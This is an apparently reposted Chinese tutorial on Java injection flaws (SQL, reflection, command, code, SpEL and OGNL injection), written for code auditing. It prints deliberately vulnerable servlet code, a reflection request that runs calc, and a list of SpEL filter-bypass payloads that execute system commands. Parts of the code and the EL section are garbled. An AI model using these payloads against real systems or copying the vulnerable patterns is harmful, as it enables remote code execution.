Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

注入

SQL注入

JDBC拼接不当造成SQL注入

JDBC有两种方法执行SQL语句,分别为PrepareStatement和Statement。两个方法的区别在于PrepareStatement会对SQL语句进行预编译,而Statement方法在每次执行时都需要编译,会增大系统开销。理论上PrepareStatement的效率和安全性会比Statement要好,但并不意味着使用PrepareStatement就绝对安全,不会产生SQL注入

PrepareStatement方法支持使用‘?’对变量位进行占位,在预编译阶段填入相应的值构造出完整的SQL语句,此时可以避免SQL注入的产生。但开发者有时为了便利,会直接采取拼接的方式构造SQL语句,此时进行预编译则无法阻止SQL注入的产生。如以下代码所示,PrepareStatement虽然进行了预编译,但在以拼接方式构造SQL语句的情况下仍然会产生SQL注入。代码示例如下(若使用“or 1=1”,仍可判断出这段程序存在SQL注入)

String sql = "select * from user where id =" + req.getParameter("id");
out.println(sql);
try{
    PreparedStatement pstt = con.prepareStatement(sql);
    ResultSet re = pstt.executeQuery();
    while(rs.next()){
        out.println("<br>id:"+rs.getObject("id"));
        out.println("<br>name:"+re.getObject("name"));
    }
    catch(SQLException throwables){
        throwables.printStackTrace();
    }
}

正确地使用PrepareStatement可以有效避免SQL注入的产生,使用“?”作为占位符时,填入对应字段的值会进行严格的类型检查。将前面的“拼接构造SQL语句”改为如下“使用占位符构造SQL语句”的代码片段,即可有效避免SQL注入的产生

PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?"
out.println(sql);
try{
    PreparedStatement pstt = con.prepareStatement(sql);
    pstt.setInt(1,Integer.parseInt(req.getParameter("id")));
    ResultSet rs = pstt.executeQuery();
    ....
}

框架使用不当造成SQL注入

如今的Java项目或多或少会使用对JDBC进行更抽象封装的持久化框架,如MyBatis和Hibernate。通常,框架底层已经实现了对SQL注入的防御,但在研发人员未能恰当使用框架的情况下,仍然可能存在SQL注入的风险

Mybatis框架

MyBatis框架的思想是将SQL语句编入配置文件中,避免SQL语句在Java程序中大量出现,方便后续对SQL语句的修改与配置

MyBatis中使用parameterType向SQL语句传参,在SQL引用传参可以使用#{Parameter}和${Parameter}两种方式

使用#{Parameter}构造SQL的代码如下所示

<select id="getUsername" resultType="com.ocean">
    select id,name,age from user where name #{name}
<select>

image-20211105124708022

从Debug回显的SQL语句执行过程可以看出,使用#{Parameter}方式会使用“?”占位进行预编译,因此不存在SQL注入的问题。用户可以尝试构造“name”值为“z1ng or 1=1”进行验证。回显如下,由于程序未查询到结果出现了空指针异常,因此此时不存在SQL注入

使用${Parameter}构造SQL的代码如下所示

<select id = "getUsername" resultType = "com.ocean">
    select id,name,age from user where name = ${name}
<select>

image-20211105124916552

“name”值被拼接进SQL语句之中,因此此时存在SQL注入

${Parameter}采用拼接的方式构造SQL,在对用户输入过滤不严格的前提下,此处很可能存在SQL注入

Hibernate

Hibernate是一种ORM框架,全称为 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)规范的一种实现方式。Hibernate 将Java 类映射到数据库表中,从 Java 数据类型映射到 SQL 数据类型。Hibernate是目前主流的Java数据库持久化框架,采用Hibernate查询语言(HQL)注入

HQL的语法与SQL类似,受语法的影响,HQL注入在实际漏洞利用上具有一定的限制

不安全的反射

利用 Java 的反射机制,可以无视类方法、变量访问权限修饰符,调用任何类的任意方法、访问并修改成员变量值

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));

但是Runtime为单例模式,在其生命周期内只能有一个对象,因此以上代码是无法生效的,正确如下

Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");

这段payload可以拆分为以下代码

Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec",String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");

Java中的Rce, 常见的可执行函数如:Runtime.getRuntime().exec(),在审计的时候也要看Process、ProcessBuilder.start()

可能出现的环境

  1. 服务器直接存在可执行函数(exec()等),且传入的参数过滤不严格导致 RCE 漏洞
  2. 由表达式注入导致的 RCE 漏洞,常见的有:SpEL、OGNL(Struts2中常出现)、MVEL、EL、Fel、JST+EL等
  3. 由Java后端模板引擎注入导致的RCE漏洞,常见的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等
  4. 由Java一些脚本语言引起的RCE漏洞,常见的如:Groovy、JavaScriptEngine等
  5. 由第三方开源组件引起的RCE漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等

由不安全的输入造成的反射命令执行Demo

代码对于传入的类、传入的类方法、传入类的参数没有做任何限制

@WebServlet("/Rce")
public class Rce extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        PrintWriter printWriter = resp.getWriter();

        // 接收参数
        String name = req.getParameter("command");
        String method = req.getParameter("method");
        String str = req.getParameter("str");

        try {
            // 获取类的无参数构造方法
            Class getCommandClass = Class.forName(name);
            Constructor constructor = getCommandClass.getDeclaredConstructor();
            constructor.setAccessible(true);

            // 实例化类
            Object getInstance = constructor.newInstance();

            // 获取类方法
            Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);

            // 调用类方法
            Object mes = getCommandMethod.invoke(getInstance, str);

            printWriter.append("即将执行命令");
            printWriter.append((Character) mes);
            printWriter.flush();
        } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
            e.printStackTrace();
        }
    }
}

可以看到代码中存在反射调用,当调用不安全类时,会造成命令执行

http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc

image-20211103190540846

命令注入

Java的Runtime类可以提供调用系统命令的功能

protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{
    String cmd = req.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream in = process.getInputStream();
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byte[] b = new byte[1024];
    int i = -1;
    while((i=in.read(b))!=-1){
        byteArrayOutputStream.write(b,0,i);
    }
    PrintWriter out = resp.getWriter();
    out.print(new String(byteArrayOutputStream.toByteArray()));
}

系统命令连接符有 |、||、&、&&

  • |:前边命令输出结果作为后边的输入
  • ||:前边的命令执行失败才执行后边的命令
  • &:前边的命令执行后执行后边的命令
  • &&:前边的命令执行成功执行后边的命令

注意:Java环境下的命令执行,& 作为字符拼接,不能命令执行

例:Process process = Runtime.getRuntime().exec("ping" + url)

Runtime 类中的 exec 方法,要执行的命令可以通过字符串和数组的方式传入,当传入的参数类型为字符串时,会先经过StringTokenizer的处理,主要是针对空格以及换行符等空白字符进行处理,后续会分割出一个cmdarray数组保存分割后的命令参数,其中cmdarray的第一个元素为所要执行的命令

代码注入

产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行

由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能

String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try{
    Class clazz = Class.forName(ClassName);
    Constructor constructor = clazz.getConstructor(String[].class);
    Object obj = constructor.newInstance(new Object[]{Args});
    Method method = clazz.getMethod(MethodName);
    method.invoke(obj);
}
......

代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式

具体步骤如下:

首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc

import Java.io.BufferedReader;
import Java.io.InputStreamReader;
public class Evil{
    public static void Exec(String args) throws Exception{
        Process proc = Runtime.getRuntime().exec(args);
    }
}

image-20211107141639880

在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失

表达式注入

表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作

EL基础语法

在JSP中,用户可以使用

E

L

{}来表示此处为EL表达式,例如,表达式”

EL{ name }”表示获取“name”变量

EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令

image-20211107142238647

Spel表达式注入

Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中

特性:

  • 使用 Bean 的 ID 来引用 Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

基础

Spel 定界符

Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等

#{} 和 ${} 的区别:

  • #{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行

  • ${} 主要用于加载外部属性文件中的值

    两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 }

漏洞触发

ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器
Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串
String message = (String) exp.getValue();//getValue方法执行表达式

如果表达式字符串是可控的,那么可能就存在命令执行漏洞

在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量

Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串

括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名

Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");

payload构造

Fuzz

Expression exp = parser.parseExpression("''.class");
Expression exp = parser.parseExpression(""".class");

bypass payload

  • 反射调用

    T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
    
  • 反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况

    T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"}) 
    
  • 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符

    new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
    
  • 当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符

    T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
        
    等于T(java.lang.Runtime).getRuntime.exec('calc')    
    
  • JavaScript引擎通用poc

    T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);")
    
  • 当T(getClass())被过滤时

    ''.class.forName('java.lang.Runtime')
    new String('s').class.forName('java.lang.Runtime')    
    

实例UNctf-goodjava

https://evoa.me/archives/14/#GoodJava

OGNL表达式注入

OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言

功能:

  • 存取对象的任意属性
  • 调用对象的方法
  • 遍历整个对象的结构图
  • 实现字段类型转化

webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多

模板注入

FreeMarker模板注入

文章大部分转载于Java代码审计入门篇一书
https://weread.qq.com/web/reader/c8732a70726fa058c87154b
更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
中,服务器可以从后往前(从已有的
下一篇>>